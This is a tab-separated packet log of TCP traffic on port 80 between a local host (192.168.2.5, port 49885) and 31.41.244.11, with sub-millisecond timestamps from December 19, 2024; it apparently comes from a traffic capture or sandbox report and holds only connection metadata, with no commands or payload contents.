Dec 19, 2024 03:09:33.188097000 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.188147068 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.189019918 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.189095974 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.189116001 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.189409018 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.190052986 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.190112114 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.190123081 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.190182924 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.190973043 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.191021919 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.191080093 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.191148043 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.191824913 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.191915989 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.191963911 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.192608118 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.192656994 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.192706108 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.192759991 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.193495035 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.193543911 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.193557978 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.193600893 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.194437027 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.194487095 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.194638014 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.194699049 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.195640087 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.195815086 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.195866108 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.196867943 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.196918011 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.197007895 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.197057009 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.198175907 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.198225975 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.198357105 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.198405981 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.199631929 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.199779987 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.199836016 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.200834036 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.200886011 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.200942039 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.200990915 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.201854944 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.201903105 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.201946974 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.202017069 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.202673912 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.202723980 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.202745914 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.202795982 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.203289986 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.203341007 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.203356028 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.203385115 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.203838110 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.203927994 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.203974962 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.204433918 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.204483986 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.204530954 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.204580069 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.205295086 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.205355883 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.205363989 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.205414057 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.205897093 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.205920935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.205951929 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.205982924 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.206628084 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.206751108 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.206799984 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.207551003 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.207600117 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.207642078 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.208637953 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.208692074 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.208786011 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.208833933 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.209738970 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.209786892 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.209901094 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.209948063 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.210570097 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.210618973 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.210639000 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.210689068 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.211198092 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.211247921 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.211319923 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.211369991 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.212440014 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.212594032 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.212639093 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.213474989 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.213524103 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.213603973 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.213665009 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.214246988 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.214293957 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.214365959 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.214413881 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.214925051 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.214970112 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.215035915 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.215095997 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.215929031 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.216037989 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.216088057 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.216944933 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.216996908 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.217045069 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.217092037 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.217916965 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.217962027 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.218065023 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.218112946 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.219032049 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.219089985 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.219161987 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.219207048 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.220035076 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.220180988 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.220232010 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.220931053 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.220985889 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.221034050 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.221082926 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.221946001 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.221995115 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.222037077 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.222084045 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.222932100 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.222980022 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.223048925 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.223095894 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.223936081 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.224049091 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.224097967 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.224894047 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.224942923 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.225024939 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.225074053 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.225979090 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.226028919 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.226061106 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.226104975 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.226897955 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.226950884 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.227015018 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.227061987 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.227915049 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.228049040 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.228100061 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.228907108 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.228955984 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.229020119 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.229068995 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.229923964 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.229973078 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.230012894 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.230063915 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.372493982 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.372746944 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.372874975 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.372934103 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.372981071 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.373027086 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.373027086 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.373785973 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.373847008 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.373903990 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.373954058 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.374932051 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.374994040 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.375161886 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.375210047 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.376142979 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.376288891 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.376348019 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.377069950 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.377121925 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.377181053 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.377228975 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.377932072 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.377985001 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.378025055 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.378079891 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.378576994 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.378626108 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.378763914 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.378807068 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.379748106 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.379961014 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.380011082 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.381206036 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.381257057 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.381335974 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.381383896 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.382040977 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.382086039 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.382127047 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.382173061 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.382966995 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.383022070 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.383089066 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.383136034 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.383699894 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.383829117 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.383884907 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.384604931 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.384670019 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.384752035 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.384808064 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.385401964 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.385461092 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.385508060 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.385570049 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.386230946 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.386288881 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.386331081 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.386378050 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.387218952 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.387271881 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.387362957 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.387432098 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.388201952 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.388304949 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.388355017 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.389161110 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.389220953 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.389225960 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.389276028 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.390003920 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.390028000 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.390063047 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.390105963 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.390724897 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.390827894 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.390877008 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.391684055 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.391772032 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.391834021 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.392679930 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.392734051 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.392757893 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.392807961 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.393466949 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.393537998 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.393578053 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.393624067 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.394315004 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.394367933 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.394386053 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.394428968 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.395245075 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.395297050 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.395342112 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.395390034 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.396084070 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.396287918 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.396338940 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.397278070 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.397337914 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.397346973 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.397396088 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.397994995 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.398066998 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.398111105 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.398163080 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.399207115 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.399267912 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.399334908 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.399385929 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.400512934 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.400643110 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.400698900 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.401710987 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.401946068 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.402004957 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.402956963 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.403019905 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.403076887 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.403127909 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.404274940 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.404331923 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.404417992 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.404485941 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.405407906 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.405462027 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.405503988 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.405550003 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.406339884 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.406403065 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.406409979 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.406459093 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.407371998 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.407435894 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.407497883 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.407548904 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.408488035 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.408559084 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.408612967 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.409427881 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.409478903 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.409571886 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.409626007 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.410468102 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.410526991 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.410547018 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.410609961 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.411325932 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.411381960 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.411427021 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.411478996 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.412282944 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.412327051 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.412384987 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.413129091 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.413191080 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.413224936 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.413276911 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.413789988 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.413850069 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.413891077 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.413939953 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.414693117 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.414764881 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.414793968 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.414853096 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.415342093 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.415467978 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.415528059 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:33.416066885 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:33.416188002 CET	80	49885	31.41.244.11	192.168.2.5
